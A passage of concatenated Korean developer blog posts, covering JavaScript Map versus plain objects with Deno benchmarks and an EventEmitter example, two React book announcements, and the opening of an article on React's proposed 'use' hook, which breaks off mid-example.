이를 진짜 제대로 방어하기 위해서는 다음과 같이 진짜 `Object.prototype.hasOwnProperty` 메서드를 사용해야 합니다.

```js
function foo(obj) {
  for (const key in obj) {
    if (Object.prototype.hasOwnProperty.call(obj, key)) {
    }
  }
}
```

### 불편한 메소드

해시 맵을 사용할 때 써야하는 주요 메소드를 살펴보면 다음과 같으며, 객체에서는 아래 메소드를 사용하는데 애로 사항이 존재합니다.

- `size`: 객체에는 알고 싶은 종류에 따라서 크기를 가져올 수 있는 메소드가 3개나 존재합니다. 그리고 사실 직접 프로퍼티를 순회해서 길이를 확인해야 하므로, O(n)의 시간 복잡도가 발생합니다.
  - `Object.keys(obj).length`: 열거 가능한 프로퍼티의 개수를 반환합니다.
  - `Object.getOwnPropertyNames(obj).length`: 객체 자신의 프로퍼티 중 열거 가능한 프로퍼티의 개수를 반환합니다.
  - `Object.getOwnPropertySymbols(obj).length`: 객체 자신의 심볼 프로퍼티의 개수를 반환합니다.
- `clear`: 객체를 초기화하는 메소드가 없습니다. 객체를 초기화하려면, 객체를 다시 생성하거나 `delete`를 사용하는 수밖에 없습니다.

- 순회: 순회 역시 `size`와 비슷한 문제가 존재합니다.
  - `for...in`: 객체의 프로퍼티를 순회할 때, 프로토타입 체인까지 순회하므로 `hasOwnProperty`를 사용해야 합니다.

  ```js
  Object.prototype.foo = 'bar'
  const obj = {bar: 1}
  for (const key in obj) {
    console.log(key) // foo, bar
  }
  ```

  - `for..of`: 객체는 이터러블이 아니므로 사용할 수 없습니다.
  - `Object.keys`, `Object.values`, `Object.entries`: 이 메소드들은 객체의 프로퍼티를 배열로 반환해주는 메소드라서 사용가능하지만, 어쨌든 배열을 한번 더 만드는 비용이 존재합니다.

  이와 더불어 순서가 보장되지 않는 다는 점도 중요합니다.

  ```js
  const obj = {}

  obj.foo = '첫번째'
  obj[2] = '두번째'
  obj[1] = '세번째'

  // {1: '세번째', 2: '두번째', foo: '첫번째'}
  ```

- 존재여부 확인하기: 일반적으로 객체에서는 `.`이나 `[]` 을 사용해 `undefined`를 반환하는지 확인합니다만, 실제로 값이 `undefined`로 인 경우에도 동일하게 반환합니다.

  ```js
  const obj = {a: null, b: undefined}
  obj.b === obj.c // true
  ```

  이러한 문제로 인해 일반적으로는 `in`연산자를 사용합니다만, 이 역시 프로토타입 문제가 있으므로 제대로 확인하기 위해서는 `Object.prototype.hasOwnProperty`를 사용해야 합니다.

  ```js
  const obj = {a: null, b: undefined}
  'b' in obj // true
  'c' in obj // false
  Object.prototype.hasOwnProperty.call(obj, 'b') // true
  Object.prototype.hasOwnProperty.call(obj, 'c') // false
  ```

반면 `Map`은 개발자 의도대로 동작하는 메소드를 각각 제공합니다.

- `Map.prototype.size`: 맵의 크기 확인
- `Map.prototype.clear`: 맵 초기화
- `Map.prototype.keys`, `Map.prototype.values`, `Map.prototype.entries`: 각각 맵의 키, 값, 키-값 쌍을 반환
- `Map.prototype.has`: 키 존재 여부 확인

## 벤치 마크로 성능 비교

실제 벤치마크에서 객체와 맵의 성능을 비교해보겠습니다. 벤치마크로는 deno 를 사용하였습니다.

```ts
const DATA_SIZE = 100_000

function generateRandomStrings(n: number): string[] {
  const result: string[] = []
  for (let i = 0; i < n; i++) {
    const rand = Math.random().toString(36).slice(2, 12)
    result.push(rand)
  }
  return result
}
```

### 삽입

```ts
Deno.bench({
  name: 'Object Insertion',
  group: 'Insertion',
  baseline: true,
  fn: () => {
    const keys = generateRandomStrings(DATA_SIZE)
    const obj: Record<string, number> = {}

    for (let i = 0; i < DATA_SIZE; i++) {
      obj[keys[i]] = i
    }
  },
})

Deno.bench({
  name: 'Map Insertion',
  group: 'Insertion',
  fn: () => {
    const keys = generateRandomStrings(DATA_SIZE)
    const map = new Map<string, number>()

    for (let i = 0; i < DATA_SIZE; i++) {
      map.set(keys[i], i)
    }
  },
})
```

```bash
    CPU | Apple M3 Pro
Runtime | Deno 2.2.5 (aarch64-apple-darwin)

benchmark                           time/iter (avg)        iter/s      (min … max)           p75      p99     p995
----------------------------------- ----------------------------- --------------------- --------------------------

group Insertion
Object Insertion                            47.2 ms          21.2 ( 41.0 ms …  72.5 ms)  48.8 ms  72.5 ms  72.5 ms
Map Insertion                               20.3 ms          49.3 ( 19.1 ms …  24.0 ms)  20.3 ms  24.0 ms  24.0 ms

summary
  Object Insertion
     2.33x slower than Map Insertion
```

객체가 맵보다 2.33배 느리게 삽입되었습니다.

### 순회

```ts
Deno.bench({
  name: 'Object Iteration (for...in)',
  group: 'Iteration',
  baseline: true,
  fn: () => {
    const keys = generateRandomStrings(DATA_SIZE)
    const obj: Record<string, number> = {}
    for (let i = 0; i < DATA_SIZE; i++) {
      obj[keys[i]] = i
    }

    let sum = 0
    for (const k in obj) {
      if (Object.prototype.hasOwnProperty.call(obj, k)) {
        sum += obj[k]
      }
    }
  },
})

Deno.bench({
  name: 'Map Iteration (for...of)',
  group: 'Iteration',
  fn: () => {
    const keys = generateRandomStrings(DATA_SIZE)
    const map = new Map<string, number>()
    for (let i = 0; i < DATA_SIZE; i++) {
      map.set(keys[i], i)
    }

    // 순회
    let sum = 0
    for (const [_, value] of map) {
      sum += value
    }
  },
})
```

```bash
    CPU | Apple M3 Pro
Runtime | Deno 2.2.5 (aarch64-apple-darwin)

benchmark                           time/iter (avg)        iter/s      (min … max)           p75      p99     p995
----------------------------------- ----------------------------- --------------------- --------------------------

group Iteration
Object Iteration (for...in)                 56.0 ms          17.9 ( 46.2 ms …  83.6 ms)  56.1 ms  83.6 ms  83.6 ms
Map Iteration (for...of)                    20.3 ms          49.4 ( 18.5 ms …  25.1 ms)  20.9 ms  25.1 ms  25.1 ms

summary
  Object Iteration (for...in)
     2.77x slower than Map Iteration (for...of)

```

객체가 맵보다 2.77배 느리게 순회되었습니다.

### 삭제

```ts
Deno.bench({
  name: 'Object Deletion (delete operator)',
  group: 'Deletion',
  baseline: true,
  fn: () => {
    const keys = generateRandomStrings(DATA_SIZE)
    const obj: Record<string, number> = {}
    for (let i = 0; i < DATA_SIZE; i++) {
      obj[keys[i]] = i
    }

    for (let i = 0; i < DATA_SIZE; i++) {
      delete obj[keys[i]]
    }
  },
})

Deno.bench({
  name: 'Map Deletion (map.delete)',
  group: 'Deletion',
  fn: () => {
    const keys = generateRandomStrings(DATA_SIZE)
    const map = new Map<string, number>()
    for (let i = 0; i < DATA_SIZE; i++) {
      map.set(keys[i], i)
    }

    for (let i = 0; i < DATA_SIZE; i++) {
      map.delete(keys[i])
    }
  },
})
```

```bash
Check file:///Users/USER/private/deno-study/helloworld/bench-map-object.ts
    CPU | Apple M3 Pro
Runtime | Deno 2.2.5 (aarch64-apple-darwin)

file:///Users/USER/private/deno-study/helloworld/bench-map-object.ts

benchmark                           time/iter (avg)        iter/s      (min … max)           p75      p99     p995
----------------------------------- ----------------------------- --------------------- --------------------------

group Deletion
Object Deletion (delete operator)           50.5 ms          19.8 ( 41.2 ms …  74.8 ms)  52.4 ms  74.8 ms  74.8 ms
Map Deletion (map.delete)                   26.1 ms          38.3 ( 21.8 ms …  42.0 ms)  27.1 ms  42.0 ms  42.0 ms

summary
  Object Deletion (delete operator)
     1.93x slower than Map Deletion (map.delete)
```

객체가 맵보다 1.93배 느리게 삭제되었습니다.

### 무작위 값 검색

```ts
const DATA_SIZE = 1_000_000

// 일부 키만 존재하고, 나머지는 존재하지 않도록 비율을 조정
// 70%는 실제로 존재하는 키, 30%는 존재하지 않는 키
const EXISTING_RATIO = 0.7

function generateRandomStrings(n: number): string[] {
  const result: string[] = []
  for (let i = 0; i < n; i++) {
    const rand = Math.random().toString(36).slice(2, 12)
    result.push(rand)
  }
  return result
}

function generateMixedLookupKeys(
  allKeys: string[],
  totalLookups: number,
  existingRatio: number,
): string[] {
  const existingCount = Math.floor(totalLookups * existingRatio)
  const nonExistingCount = totalLookups - existingCount
  const lookupKeys: string[] = []

  // 1) 실제로 존재하는 키 중 무작위로 existingCount개를 샘플
  for (let i = 0; i < existingCount; i++) {
    const randomIndex = Math.floor(Math.random() * allKeys.length)
    lookupKeys.push(allKeys[randomIndex])
  }

  // 2) 전혀 없는 무작위 키 생성
  const nonexistentKeys = generateRandomStrings(nonExistingCount)
  for (const key of nonexistentKeys) {
    lookupKeys.push(key)
  }

  // 3) 전체를 무작위로 섞기 (Fisher–Yates shuffle)
  for (let i = lookupKeys.length - 1; i > 0; i--) {
    const j = Math.floor(Math.random() * (i + 1))
    ;[lookupKeys[i], lookupKeys[j]] = [lookupKeys[j], lookupKeys[i]]
  }

  return lookupKeys
}

const keys = generateRandomStrings(DATA_SIZE)
const obj: Record<string, number> = {}
const map = new Map<string, number>()

for (let i = 0; i < DATA_SIZE; i++) {
  obj[keys[i]] = i
  map.set(keys[i], i)
}

const lookupKeys = generateMixedLookupKeys(keys, DATA_SIZE, EXISTING_RATIO)

Deno.bench({
  name: 'Object Random Lookup (mixed existing/non-existing)',
  group: 'RandomLookup',
  fn: () => {
    let found = 0
    for (let i = 0; i < DATA_SIZE; i++) {
      const k = lookupKeys[i]
      if (obj[k] !== undefined) {
        found++
      }
    }
  },
})

Deno.bench({
  name: 'Object Random Lookup with hasOwnProperty (mixed existing/non-existing)',
  group: 'RandomLookup',
  fn: () => {
    let found = 0
    for (let i = 0; i < DATA_SIZE; i++) {
      const k = lookupKeys[i]
      if (Object.prototype.hasOwnProperty.call(obj, k)) {
        found++
      }
    }
  },
})

Deno.bench({
  name: 'Map Random Lookup (mixed existing/non-existing)',
  group: 'RandomLookup',
  fn: () => {
    let found = 0
    for (let i = 0; i < DATA_SIZE; i++) {
      const k = lookupKeys[i]
      if (map.has(k)) {
        found++
      }
    }
  },
})
```

```bash
    CPU | Apple M3 Pro
Runtime | Deno 2.2.5 (aarch64-apple-darwin)

file:///Users/USER/private/deno-study/helloworld/bench-map-object-lookup.ts

benchmark                                                                time/iter (avg)        iter/s      (min … max)           p75      p99     p995
------------------------------------------------------------------------ ----------------------------- --------------------- --------------------------

group RandomLookup
Object Random Lookup (mixed existing/non-existing)                               56.7 ms          17.6 ( 56.3 ms …  58.3 ms)  56.7 ms  58.3 ms  58.3 ms
Object Random Lookup with hasOwnProperty (mixed existing/non-existing)           53.4 ms          18.7 ( 53.1 ms …  54.3 ms)  53.5 ms  54.3 ms  54.3 ms
Map Random Lookup (mixed existing/non-existing)                                 113.4 ms           8.8 (109.7 ms … 126.3 ms) 114.1 ms 126.3 ms 126.3 ms

summary
  Object Random Lookup with hasOwnProperty (mixed existing/non-existing)
     1.06x faster than Object Random Lookup (mixed existing/non-existing)
     2.12x faster than Map Random Lookup (mixed existing/non-existing)
```

여기서는 다소 예상과 다르게 객체가 맵보다 빠르게 검색되었습니다. 자바스크립트 엔진은 객체 속성 접근을 최적화 하기 위해 인라인 캐싱, 히든 클래스 등 다양한 최적화 기법을 사용하고 있습니다. 또한 심볼과 키만 사용가능 한 객체의 경우에는 조금더 최적화 할 여지가 있을 수 있고, 나아가 객체는 아무래도 오랜시간 사용된 자바스크립트의 기본 데이터 타입이기 때문에, 엔진 내부에서 더 최적화가 되어있을 수 있습니다.

> - 인라인캐싱: 동일한 속성을 접근하는 작업이 반복되면, 이를 캐싱하여 빠르게 접근할 수 있도록 하는 기법
> - 히든클래스: 객체에 어떤 프로퍼티들이 있고, 어떤 순서대로 추가되었는지 등을 기록하여, 빠르게 접근할 수 있도록 하는 기법

## 실제 예제

서버개발이 아닌 프론트엔드 개발이라면 일반적으로 객체를 더 많이 사용하게 되고, 아마 그렇기 때문에 맵에 대한 필요성을 크게 느끼지 못하실 수도 있습니다. 그렇다면 프론트엔드 개발에서 맵이 필요한 상황, 즉 추가와 삭제, 그리고 검색이 빈번하게 일어나며 동적으로 계쏙해서 바뀌는 경우에는 무엇이 이있을까요? 바로 `EventEmitter`입니다.

`EventEmitter`는 이름 그대로 이벤트를 발생시키고(listen), 구독(subscribe), 해제(unsubscribe)하는 기능을 제공하는 객체이자 패턴을 말합니다. 주로 Node.js나 브라우저 환경에서 이벤트 기반으로 동작하기 위해 쓰이며, 이는 간단히 말해 이벤트 이름에 따라 콜백을 등록하는 것을 의미합니다.

```ts
eventEmitter.on('data', onDataReceived)
eventEmitter.on('error', onError)
eventEmitter.emit('data', {
  // do something
})
```

이벤트를 관리하는데 맵이 사용되어야 하는 이유는 다음과 같습니다.

- 동적으로 늘어나는 키: 이벤트 이름은 작성시점에만 국한될 뿐 아니라 런타임에서도 확장될수 있습니다.
- 다양한 타입의 키: 대부분의 이벤트 명은 문자열이지만, 특수한 경우에는 심볼이나 다른 타입의 키를 사용할 수도 있습니다.
- 빈번한 추가 및 삭제: 이벤트는 동적으로 추가되거나 삭제되는 경우가 많은데, 이때 맵은 `set`, `delete` 메소드를 통해 간편하게 관리할 수 있습니다.
- 이름 충돌이 없음: 객체와 다르게 프로로타입과 이름이 충돌될 걱정을 하지 않아도 됩니다.
- 순회 및 사이즈 계산에 유리: 등록된 이벤트를 순회해야할 때, 맵은 이터러블이므로 `for...of`문을 간단하게 사용할 수 있으며, `size` 프로퍼티로 사이즈를 쉽게 확인할 수 있습니다.

```ts
type Listener = (...args: unknown[]) => void

export class EventEmitter {
  private events: Map<string, Listener[]>

  constructor() {
    this.events = new Map<string, Listener[]>()
  }

  public on(eventName: string, listener: Listener): this {
    if (!this.events.has(eventName)) {
      this.events.set(eventName, [])
    }
    this.events.get(eventName)!.push(listener)
    // 메서드 체이닝 지원
    return this
  }

  public emit(eventName: string, ...args: unknown[]): void {
    const listeners = this.events.get(eventName)
    if (!listeners) return // no listeners

    for (const fn of listeners) {
      fn(...args)
    }
  }

  public off(eventName: string, listener: Listener): void {
    const listeners = this.events.get(eventName)
    if (!listeners) return

    // 특정 리스너 함수만 찾아서 제거
    const idx = listeners.indexOf(listener)
    if (idx !== -1) {
      listeners.splice(idx, 1)
    }
    // 더 이상 리스너가 없다면, 맵에서 전체 이벤트 삭제
    if (listeners.length === 0) {
      this.events.delete(eventName)
    }
  }

  public clearEvent(eventName: string): void {
    // 해당 이벤트 자체를 통째로 제거
    this.events.delete(eventName)
  }
}
```

```ts
// EventEmitter.ts
import {EventEmitter} from './EventEmitter' // 위 구현을 임의 파일명으로 저장했다고 가정

// 1) EventEmitter 인스턴스 생성
const emitter = new EventEmitter()

// 2) 콜백 함수 정의
function onDataReceived(data: unknown) {
  console.log('[onDataReceived] data:', data)
}

function onError(err: Error) {
  console.error('[onError]', err)
}

// 3) 이벤트 리스너 등록
emitter.on('data', onDataReceived)
emitter.on('error', onError)

// 4) 이벤트 발생 (emit)
emitter.emit('data', {message: 'Hello, world!'})
// 출력: [onDataReceived] data: { message: 'Hello, world!' }

// 5) 특정 리스너 해제
emitter.off('data', onDataReceived)

// 더 이상 'onDataReceived'는 호출되지 않음
emitter.emit('data', {message: 'Should NOT be logged!'})

// 6) 이벤트 전체 삭제
emitter.clearEvent('error')

// 'error' 이벤트가 완전히 제거되었으므로 emit해도 아무 일도 일어나지 않음
emitter.emit('error', new Error('Test error'))
```

## 결론

- 작성 시점에 프로퍼티가 고정적으로 정해져있고, 적은 수의 프로퍼티를 다루는 경우에는 객체가 적합합니다.
- 키의 개수가 가변적이고, 반복적으로 추가 및 삭제가 발생하며, 작성 시점에 어떤 프로퍼티가 들어올지 모르는 경우, 그리고 해시맵을 다루기 위한 안정적인 메소드가 필요한 경우에는 맵이 더 적합합니다.
- 대부분의 경우 맵이 더 성능이 빠르지만, 자바스크립트의 오랜 최적화 노력 덕분에 일부 상황에서는 객체가 더 빠를 수도 있습니다.
- 프론트엔드 개발에서도 Map을 쓸 수 있습니다. ES6 이상을 지원하는 브라우저에서는 Map을 사용할 수 있으며, 이벤트 관리와 같은 상황에서 유용하게 사용할 수 있습니다.

---

Source: https://yceffort.kr/2025/03/react-interview-guide.md
Title: 리액트 인터뷰 가이드 번역본이 출간되었습니다.
Description: 좋은 경험이었습니다(2)
Date: 2025-03-21
Tags: react, career

![image](https://wikibook.co.kr/images/cover/l/9791158395377.jpg)

- https://product.kyobobook.co.kr/detail/S000214006794
- https://wikibook.co.kr/react-interview-guide/

2024년 8월에 쓴 책을 이제서야 올리네요. 😅 ~~회사가 넘 바빠요~~

많은 관심 부탁드립니다.

또 조만간 새로운 책, 그리고 새로운 블로그 글로 찾아뵙겠습니다. 🙇🏻‍♂️

---

Source: https://yceffort.kr/2023/10/react-deep-dive.md
Title: 모던 리액트 Deep dive가 출간되었습니다.
Description: 좋은 경험이었습니다.
Date: 2023-10-31
Tags: react, career

## 시작

평화롭게 블로깅과 트위터를 뒤지며 프론트엔드를 탐닉하던 2022년 6월의 어느날, 위키북스로부터 출간제의를 받았습니다. 저에게 메일을 보내시게 된 이유는 아래 제 블로그 글 때문이라고 언급해주셨었습니다.

- https://yceffort.kr/2022/04/react-18-changelog
- https://yceffort.kr/2022/04/deep-dive-in-react-rendering
- https://yceffort.kr/2022/03/react-hooks-in-caution

> 지금 생각해보니 다 비교적 이 무렵 글들이었네요.

제 조악한 글을 좋게 봐주신 한편으로, 조금은 겁이 나기도 했습니다. 과연 내가 글을 쓸만큼 리액트와 웹환경에 대해 잘 알고 있던가? 또 내가 알고 있는 것을 글로 조리있게 잘 설명해줄 수 있을까? 또 다른 한편으로는 나름 그래도 웹을 3~4년 가까이 하면서, 회사에서는 더 이상 주니어로 우길 수 없는 위치에서 업으로 살고 있는 내용에 대해 설명하지 못하면 자격미달이 아닐까 하는 생각도 들었습니다. 그리고 마침 회사에서의 생활이 그렇게 바쁘지는 않기도 했었구요. 심각하게 야근을 할만큼 무리할 일이 별로 없어서, 무언가 도전하려면 지금이 아닐까 싶은 생각도 들었습니다. 그래서, 시작하게되었습니다.

## 원고작성

본격적으로 원고 작성을 한 것은 2022년 8월 부터였습니다. 6월 부터 8월 간의 기간은 에디터님께 목차와 대략적인 내용에 대해 검수 받는 시간이었고, 8월 말 부터는 각 잡고 원고를 작성했습니다. 맨 처음 우려했던 건, 대학원 때 처럼 글을 워드로 작성해야하는게 아닌가 하는 걱정이었는데, 이는 다행히 기우였습니다. 마크다운으로 초안을 작성하고, 이후에 이 마크다운을 에디터님께서 워드로 잘 이관해주셨습니다.

그 당시 책의 사이즈에 대한 대중이 전혀 없었기 때문에, 하루에 얼마나 글을 써야하는지 감이 잘 오질 않았습니다. 그래서 그냥... 매일 커밋하면서 글을 쓰기로 결심을 했습니다. 그리고 이것이 그 결과입니다.

![github](./images/react-deep-dive-github.png)

![yceffort](./images/yceffort-github.png)

대충 헤아려 보니 매일 커밋을 4회 이상했고, 글도 제법 썼습니다. 사실 글을 쓰는 시간보다, 자료 조사하고 이 자료가 맞는지 확인하기 위한 코드를 작성하는 시간이 더 많았습니다. 블로그에 글을 써재낄 때는 사실 크게 이 동작이 맞다 틀리다를 확인하지 않았는데, 인쇄물이라는 특성상 한번 잘못쓰면 영영 박제 된다는 생각이 강하게 들다보니 계속해서 코드를 확인하고 또 확인하게 되었습니다. 시간의 7할을 자료조사와 검증을, 그리고 나머지 3할을 글 작성에 소비했던 것 같습니다.

## 마무리

글 작성하는데 2022년 8월 부터 2023년 까지 5월을, 그리고 2023년 5월 부터 10월까지는 원고 수정과 퇴고에 메달렸습니다. 에디터님께서는 거의 프론트엔드 고급 개발자와 다름 없을 정도로 상세하게 피드백을 주셨고, 무사히 출간할 수 있게 되었습니다. 몇가지 아쉬웠던 점을 요약하자면 다음과 같습니다.

- 글쓰는 걸 알리기 부끄러워서 장기간 혼자 원고를 작성하고, 피드백을 수정하기 어려운 시점에 늦게서야 받은점 (원고를 다 완성할 수 있다는 확신이 없었음)
- 생각보다 리액트에 많이 집중하지 못한 점. 리액트에 대해 진짜 deep dive 하자니 쓸 때 없이 깊이 들어가는 것 같아서 웹 전반에 대해서도 한번 둘러봤는데, 이게 약간 독자가 원하는 방향이 아닐 수도 있겠다는 뒤늦게 들었음.
- nextjs static 리소스를 CDN에 올리고 서버를 따로 운영하면서 돌리는 방식이 요즘 대세인데, 이부분에 대해서 다루지 못한 것. 이 부분은 블로그 글로라도 올려야겠습니다.
- nextjs@14를 다루지 못한점. 이자식들이(?) 항상 가을에 메이저 버전을 릴리즈해서 굉장히 불안했는데, 갑자기 5월에 13버전을 릴리즈 하면서 5월에 황급히 글을 또 추가헀습니다. 그런데... 책 출간을 앞두고 얼마전에 또 14버전을 릴리즈했네요. 이건 인쇄물이 가질 수 밖에 없는 한계이자 매력이 아닐까 싶습니다.

## 감사의 말씀

제 미숙한 블로그를 찾아주시고 선뜻 좋은 제안해주신 에디터님이 안계셨더라면 끝까지 완성하지 못했을 것 같습니다. 시작부터 끝까지 계속해서 저에게 응원의 말과 조원 아끼지 않아주셔서 정말 감사했습니다. 그리고 제 마음에 쏙드는 디자인해주신 디자이너님, 그리고 중간에 제 글 한번 멋있게 다듬어주신 편집자 분께 감사의 말씀 다시 한번 올립니다. 또 추천사와 베타 리딩에 좋은 글을 남겨쥔 저의 소중한 선배님들, 동료분들께도 감사말씀 드립니다.

## 앞으로 계획과 소감

회사에서 하라는 일은 안하고 책이나 끄적거리는게 들키면서 블로그를 쉬는 사이에 신변의 변화가 있었습니다. 덕분에 매일 왕복 2시간 반 거리를 출퇴근하며 눈코 뜰새없는 삶을 살고 있습니다. 그러다보니 책을 다 쓰면 블로그로 돌아와야지 했던 마음이 조금 달아나기도 했구요. 유명한 블로그들이 조금씩 이런 이유로 사라지는 구나라는 것을 깨달았고, 또 시니어가 되어서도 블로그를 운영하시는 분들께 무한한 존경을 보내게 되었습니다. 앞으로는 적어도 한달에 한번씩 블로그 글을 쓰던지,,, 아니면 또 미쳐서 책을 쓸지,,, 를 고민해보고 있습니다. 이제 진짜 마지막 기력을 짜내서... 과외 활동을.... 하고........ 이를 발판삼아.... (더 많은 돈을 주는 곳으로.........)

## 마치며

![bookcover](https://wikibook.co.kr/images/cover/l/9791158394646.jpg)

> 많관부...

- https://wikibook.co.kr/react-deep-dive/
- https://www.yes24.com/Product/Goods/123161563
- https://book.interpark.com/product/BookDisplay.do?_method=detail&sc.prdNo=356816390
- https://www.aladin.co.kr/shop/wproduct.aspx?ItemId=327499133
- https://product.kyobobook.co.kr/detail/S000210725203

인세 전액은 모두 제 이름으로 기부하였습니다. https://happybean.naver.com/donations/H000000178876/donorList 해피빈 본문에 별 내용이 없어서 사단법인 점프의 링크도 추가해둡니다. https://jumpsp.org/

---

Source: https://yceffort.kr/2023/06/react-use-hook.md
Title: 리액트의 신규 훅, "use"
Description: 상황에 따라 이름이 변경되거나 사라질 수도 있습니다
Date: 2023-06-13
Tags: react, javascript

# Table of Contents

## 서론

리액트에는 새로운 기능을 제안할 수 있는 공식적인 창구인 https://github.com/reactjs/rfcs 저장소가 존재한다. 이 저장소는 리액트에 필요한 새로운 기능 내지는 변경을 원하는 내용들을 제안하여 리액트 코어 팀의 피드백을 받을 수 있는데, 이렇게 제안된 이슈 중에는 리액트 코어 팀이 직접 제안하여 리액트 커뮤니티 개발자들의 의견을 들어보는 이슈도 존재한다.

- 서버 컴포넌트: https://github.com/reactjs/rfcs/blob/main/text/0188-server-components.md
- 서버 컴포넌트 모듈 컨벤션: https://github.com/reactjs/rfcs/blob/main/text/0227-server-module-conventions.md

이 중에 아직 머지되지는 않았지만 한가지 흥미로운 내용이 존재하는데, 바로 `use`라고 하는 새로운 훅이다. 이 훅은 이후에 설명하겠지만 이전의 훅과는 여러가지 차이점이 있는데, 그중에 하나는 조건부로 호출될 수 있다는 것이다. 이 훅도 예전부터 PR로 올라와 있어서 언제쯤 머지되는지 눈여겨 보고 있었는데 👀 도대체가 머지될 기미가 보이지 않아서 굉장히 의아한 차였다. 알고 보니 해당 proposal 을 만든 사람이 [meta에서 vercel로 이적하였고](https://github.com/reactjs/rfcs/pull/229#issuecomment-1427067863) (🤪) 이 과정에서 뭔가 이 작업이 붕뜬게 아닌가 하는 추측아닌 추측을 혼자 해봤다. 그러던 차에 리액트 카나리아 버전에서 `use`훅의 존재를 확인하게 되었다.

![react-use](./images/react-use.png)

https://www.npmjs.com/package/react/v/18.3.0-next-1308e49a6-20230330?activeTab=code

왠지 조만간 `use` 훅이 정식으로 등장할 날이 머지 않은 것 같아 이 참에 한번 다뤄보려고 한다. [react rfc에 있는 `First class support for promises and async/await`](https://github.com/reactjs/rfcs/pull/229) 을 읽어보고 `use`훅의 실체는 무엇인지 알아보자.

## 서버 컴포넌트의 등장

서버 컴포넌트의 등장으로 인해, 이제 다음과 같이 `async`한 컴포넌트를 만드는 것이 가능해졌다.

```javascript jsx
export async function Note({id, isEditing}) {
  const note = await db.posts.get(id)
  return (
    <div>
      <h1>{note.title}</h1>
      <section>{note.body}</section>
      {isEditing ? <NoteEditor note={note} /> : null}
    </div>
  )
}
```

이와 같이 서버 자원에 직접 접근하여 서버의 데이터를 불러오는 서버 컴포넌트는 리액트 팀에서도 권장하는 방법이지만, 한가지 치명적인 사실은 대부분의 훅을 사용할 수 없다는 것이다. 물론, 서버 컴포넌트는 대부분 상태를 저장할 수 없는 기능에만 제한적으로 쓰이기 때문에 `useState`등은 필요하지 않을 것이며, `useId` 와 같은 훅은 서버에서도 여전히 사용 가능하다.

## 그렇다면 클라이언트 컴포넌트는?

이제 서버에서 쓰이는 함수형 컴포넌트가 `async`가 가능해진다... 라는 사실은 한가지 의문점을 갖게 한다. 그렇다면 클라이언트 컴포넌트가 비동기 함수가 되는 것은 불가능한 것인가? 지금까지 우리는 클라이언트 컴포넌트에서 비동기 처리를 하기 위해서는 `useEffect` 내에 비동기 함수를 선언하여 실행하는 것이 고작이었다. 그나마도, `useEffect`의 콜백 함수는 이러저러한 이유로 비동기가 되면 안되어 이상한 형태로(?) 만들어져서 사용되었다.

```javascript jsx
function ClientComponent() {
  useEffect(() => {
    async function doAsync() {
      await doSomething('...')
    }

    doAsync()
  }, [])

  return <>...</>
}
```

클라이언트 컴포넌트가 `async`하지 못한 것은 뒤이어 설명할 기술적 한계 때문이다. 그 대신, 리액트에서는 `use`라는 특별한 훅을 제공할 계획을 세운다.

## `use` 훅은 무엇인가?

`use` 훅의 정의에 대해서, rfc에서는 리액트에서만 사용되는 `await`이라고 비유했다. `await`이 `async`함수에서만 쓰일 수 있는 것 처럼, `use`는 리액트 컴포넌트와 훅 내부에서만 사용될 수 있다.

```javascript
import {use} from 'react'

function Component() {
  const data = use(promise)
}

function useHook() {
  const data = use(promise)
}
```

`use`훅은 정말 파격적이게도, 다른 훅이 할수 없는 일을 할 수 있다. 예를 들어 조건부 내에서 호출될 수도 있고, 블록 구문내에 존재할 수도 있으며, 심지어 루프 구문에서도 존재할 수 있다. 이는 `use`가 여타 다른 훅과는 다르게 관리되고 있음을 의미함과 동시에, 다른 훅과 마찬가지로 컴포넌트 내에서만 쓸 수 있다는 제한이 있다는 것을 의미한다.

```jsx
function Note({id, shouldIncludeAuthor}) {
  const note = use(fetchNote(id))

  let byline = null
  // 조건부로 호출하기
  if (shouldIncludeAuthor) {
    const author = use(fetchNoteAuthor(note.authorId))
    byline = <h2>{author.displayName}</h2>
  }

  return (
    <div>
      <h1>{note.title}</h1>
      {byline}
      <section>{note.body}</section>
    </div>
  )
}
```

그리고 이 `use`는 `promise`뿐만 아니라 `Context`와 같은 다른 데이터 타입도 지원할 예정이다.

그렇다면 이 `use`는 왜 만들어졌는지 좀더 자세히 살펴보자.

### `use`에 대한 의문

#### 왜 `async`가 아닐까?

많은 커뮤니티에서 요구헀던 것은, 서버 컴포넌트, 클라이언트 컴포넌트, share 컴포넌트에 관계 없이 비동기 컴포넌트 렌더링 시에 일관적인 방식을 제공하는 것이었다. 그러나 서버 컴포넌트와 다르게, 클라이언트의 경우 `async`를 사용하는데 있어 기술적인 제한사항이 존재했다.

이런 기술적 한계사항 외에도, 서버와 클라이언트에서 데이터에 접근하는 방식이 다르면 어떤 환경에서 작업하는지 조금 더 명확해진다는 장점이 있다. 물론 `use client`라는 지시자가 있지만, 이 지시자는 파일 맨위에 박혀있기 때문에 직관적으로 클라이언트 컴포넌트인지 알아채기 어렵다. 서버 컴포넌트는 클라이언트 컴포넌트와 비슷하지만, 한편으로는 너무 비슷하지 않았으면 한다고 언급했다. 각 환경에는 명확한 한계가 있으므로, 이를 빠르게 구별하면 개발자의 피로감을 줄이는데 많은 도움을 줄 수 있다. 즉, `async`로 선언되어 있는 컴포넌트는 서버 컴포넌트라는 명확한 신호를 줄 수 있다.

만약 미래에 클라이언트 컴포넌트에서도 `async`가 가능해지는 미래가 온다 하더라도 비동기 컴포넌트 (데이터를 가져오는 컴포넌트)와 상태를 가지고 있는 컴포넌트 (훅을 사용하는 컴포넌트)를 분리하여 리팩토링하도록 계속해서 권장할 예정이다. 리액트가 기대하는 것은, 데이터를 불러오는 컴포넌트와 상태를 가져오는 컴포넌트를 여러개로 분리하여 리팩토링하고, 필요하다면 서버로 작업을 옮기는 것이다.

#### `fetch`와 `read`의 불필요한 연결 방지

`await`과 `use`의 장점은 `promise`로 불러오는 비동기 데이터를 어떤식으로 불러오는지 전혀 관여하지 않는 다는 것이다. `await`과 `use`의 유일한 목적과 관심사는 데이터를 어떻게 가져오든지 간에, 단순히 비동기 데이터를 풀어서 가져오는 것 뿐이다.

원래 이전의 제안 내용은 `Suspense` 기반의 새로운 `fetching api`를 제공는 것이었는데 이렇게 되면 `fetch`와 `read`간에 강하게 연결되기 때문에, `fetch`와 렌더링이 불필요하게 연결된다는 문제가 존재했다.

그래서 리액트 팀은 현재 렌더링에 대해 영향을 미치지 않고, 데이터를 최적으로 가져올 수 있도록 단순히 `use`를 제공하는 방향으로 변경했다. `use`는 개발자가 직관적으로 사용할 수 있으며, 라이브러리와 상관없이 데이터를 가져오는 것이 훨씬더 자연스러워진다.

```jsx
function TooltipContainer({showTooltip}) {
